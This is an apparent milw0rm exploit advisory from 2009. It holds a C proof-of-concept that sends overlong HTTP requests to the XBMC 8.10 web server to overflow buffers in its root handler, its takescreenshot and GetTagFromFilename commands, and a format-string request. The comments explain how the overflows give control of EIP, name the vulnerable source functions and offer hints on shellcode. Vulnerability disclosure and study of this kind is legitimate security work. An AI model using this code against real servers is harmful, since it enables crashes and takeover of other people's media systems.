/* XBMC multiple remote buffer overflow vulnerabilities. XBMC is an award winning media center application for Linux, Mac OS X, Windows and XBox. The ultimate hub for all your media, XBMC is easy to use, looks slick, and has a large helpful community.XBMC has won many awards. Affected version: XBMC 8.10 Atlantis Tested on: Windows xpsp3 and linux unbuntu 8.10 Venders web site : http://xbmc.org/ Release date:April the 1st 2009 Credits go to n00b for finding the buffer overflow and writing simple yet effective poc code. Shout's to every one that knows me and have helped over the years. Please if u do wish to write a exploit for the buffer overflow please give credits. also you will have to filter the bad chars from shellcode if you do wish to write exploit for the voulnrabilitys in this advisory. ---------- Disclaimer ---------- The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. Educational use only..!! You can call by my blog to leave comments and feed back and ask any questions you would like.Should be up and runing in a few days. [--] http://n00b-n00b.blogspot.com/ [--] This poc code was writen on linux using gcc-4.* to compile. */ #include #include #include #include #include #include #include /*Just enough recived buffer to allow for the server banner!!*/ #define BUFFSIZE 32 void error(char *mess) { perror(mess); exit(1); } int main(int argc, char *argv[]) { int sock; int input; struct sockaddr_in http_client; char buffer[BUFFSIZE]; /*You may need to add more buffer on linux versions!! on windows its <1010> bytes to own eip next 4 bytes are loaded into the $esp register.*/ char buffer1[1500]; unsigned int http_len; int received = 0; /* If there is more than 2 arguments passed print usage!!*/ if (argc != 3) { fprintf(stderr,"USAGE: Server_ip port\n"); exit(1); } /* Create socket */ if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { error("Cant create socket"); } /* Construct sockaddr */ memset(&http_client, 0, sizeof(http_client)); http_client.sin_family = AF_INET; http_client.sin_addr.s_addr = inet_addr(argv[1]); http_client.sin_port = htons(atoi(argv[2])); /* Establish connection */ if (connect(sock, (struct sockaddr *) &http_client, sizeof(http_client)) < 0) { error("Failed to connect with remote host"); } /*We need to Construct all the voulnrable request togeather*/ memset( buffer1, 0x41, sizeof(buffer1) - 1 ); printf( "----------------------------------------------------------------\n" ); printf( "XBMC remote buffer overflow poc code by n00b !!\n" ); printf( "----------------------------------------------------------------\n" ); printf( "[1]. Get request buffer overflow poc !!\n" ); printf( "[2]. Get /xbmcHttp?command=takescreenshot buffer overflow !!\n" ); printf( "[3]. Get /xbmcHttp?command=GetTagFromFilename buffer overflow !!\n" ); printf( "[4]. queryvideodatabase possible format string poc !!\n" ); printf( "----------------------------------------------------------------\n" ); printf( "----------------------------------------------------------------\n" ); printf( "[5]. Cancel and quit application !!\n" ); printf( "----------------------\n" ); printf( "Pick your http request: " ); scanf( "%d", &input ); switch ( input ) { case 1: memcpy ( buffer1, "GET /", 5); memcpy ( buffer1 +(sizeof(buffer1) - 1) - 21, ".asp HTTP/1.1\r\n\r\n", 21); break; case 2: memcpy ( buffer1, "GET /xbmcCmds/xbmcHttp?command=takescreenshot(", 46); memcpy ( buffer1 +(sizeof(buffer1) - 1) - 41, ".jpg;false;0;300;200;90) HTTP/1.1\r\n\r\n", 41); break; case 3: memcpy ( buffer1, "GET /xbmcCmds/xbmcHttp?command=GetTagFromFilename(C:/", 53); memcpy ( buffer1 +(sizeof(buffer1) - 1) - 23, ".mp3) HTTP/1.1\r\n\r\n", 23); break; case 4: memcpy ( buffer1, "GET /xbmcCmds/xbmcHttp?command=queryvideodatabase(%s%s%s%s) HTTP/1.1\r\n\r\n", 76); break; case 5: exit(0); break; } /* Send our get request to the server*/ http_len = strlen(buffer1); if (send(sock, buffer1, http_len, 0) != http_len) { error("No byte's where sent to remote host check Get request !!"); } /* Receive the current state of the server*/ fprintf(stdout, "Received: "); while (received < http_len) { int bytes = 0; if ((bytes = recv(sock, buffer, BUFFSIZE-1, 0)) < 1) { error("Was the banner received?? if no banner exploit was successfull!!"); } received += bytes; buffer[bytes] = '\0'; fprintf(stdout, buffer); } fprintf(stdout, "\n"); close(sock); exit(0); } /* A basic run down of the bugs found with a basic discription.!! (1)..(Get request WebsHomePageHandler buffer overflow).. I was able to track down most of the vulnerable code.All this info was collected on a window's system. The first buffer overflow i found in the xbmc application all is required was for me to make a simple get request by adding 1033 bytes of user supplied data to the request.We are now able to gain control of the $eip register and the next four bytes on the stack is where our $esp register is pointing. --snip-- Source of WebsHomePageHandler..\XBMC\xbmc\lib\libGoAhead\WebServer.cpp Home page handler static int websHomePageHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, char_t *url, char_t *path, char_t *query) { If the empty or "/" URL is invoked, redirect default URLs to the home page char dir[1024]; char files[][20] = { {"index.html"}, {"index.htm"}, {"home.htm"}, {"home.html"}, {"default.asp"}, {"home.asp"}, {'\0' } }; strcpy(dir, websGetDefaultDir()); strcat(dir, path); for(u_int pos = 0; pos < strlen(dir); pos++) if (dir[pos] == '/') dir[pos] = '\\'; DWORD attributes = GetFileAttributes(dir); if (FILE_ATTRIBUTE_DIRECTORY == attributes) { int i = 0; char buf[1024]; while (files[i][0]) { strcpy(buf, dir); if (buf[strlen(buf)-1] != '\\') strcat(buf, "\\"); strcat(buf, files[i]); if (!access(buf, 0)) { strcpy(buf, path); if (path[strlen(path)-1] != '/') strcat(buf, "/"); strcat(buf, files[i]); websRedirect(wp, buf); return 1; } i++; } --snip-- the next set of voulnrabilitys are exploited through the "Web Server HTTP API". more information can be read at the following link. I wrote a simple fuzzer and fuzzed all the commands that where passed through the http requests. http://xbmc.org/wiki/?title=WebServerHTTP-API (2)..(takescreenshot remote buffer overflow).. please visit the above link for more information on specific command's.This is also a classic buffer overflow where we can add a long file name to the takescreenshot command and pass it to the API. once again we can over flow the static allocated buffer on the stack and let us own the application flow.Thus letting us execute our own supplied data. Also as a side note to this buffer overflow there are different registers over wrote. ...\XBMC\xbmc\cores\DllLoader\exports\emu_msvcrt.cpp --snip-- int dll_open(const char* szFileName, int iMode) { char str[XBMC_MAX_PATH]; // move to CFile classes if (strncmp(szFileName, "\\Device\\Cdrom0", 14) == 0) { // replace "\\Device\\Cdrom0" with "D:" strcpy(str, "D:"); strcat(str, szFileName + 14); } else strcpy(str, szFileName); CFile* pFile = new CFile(); bool bBinary = false; if (iMode & O_BINARY) bBinary = true; bool bWrite = false; if ((iMode & O_RDWR) || (iMode & O_WRONLY)) bWrite = true; bool bOverwrite=false; if ((iMode & _O_TRUNC) || (iMode & O_CREAT)) bOverwrite = true; // currently always overwrites bool bResult; if (bWrite) bResult = pFile->OpenForWrite(_P(str), bBinary, bOverwrite); else bResult = pFile->Open(_P(str), bBinary); if (bResult) { EmuFileObject* object = g_emuFileWrapper.RegisterFileObject(pFile); if (object == NULL) { VERIFY(0); pFile->Close(); delete pFile; return -1; } return g_emuFileWrapper.GetDescriptorByStream(&object->file_emu); } delete pFile; return -1; } --snip-- We also know that szFileName is defind in a headerfile with 1024 bytes staticaly allocated.So if we passs more the 1024 byte's we can cause stack corruption and over write the $eip also give's us a choice of registers we can use for our shell code. (3)..(GetTagFromFilename remote buffer overflow).. The buffer over flow is when parsing a id3 tag the difference is the registers that are over wrote at the time of access violation are as follow's.Im not going to list all the source for all the exceptions. This poc is big enough already with out adding more information and its simple to set up XBMC and compile on your own machine.. (4)..(Sqlite queryvideodatabase).. Just results in denial of service no more information available maybe ill look more into sqllite3 in the future. [--] /xbmcCmds/xbmcHttp?command=queryvideodatabase(%s%s%s%s) [--] All the above vulnerability's where tested on linux and windows On linux unbuntu 8.10 using strace to debug.And on windows i used visual c++ express 2008.This poc code is just a simple poc code to show the vulnerability's i found within the XBMC application. it started off as closed source analysis.Although the application was tested there are still a lot of other possibility for exploitation.Even the login for the web server could be vulnerable to a buffer overflow. Also worth a mention is i could take controll over the XBMC web server and there would be no error messages or any thing to sugest that the server had been took offline but it carrys on as normal the rest of xbmc stays the same with out any changes. It looks like it just terminates the thread and leaving the rest of the application intact and continues to run like normal. */ // milw0rm.com [2009-04-01]

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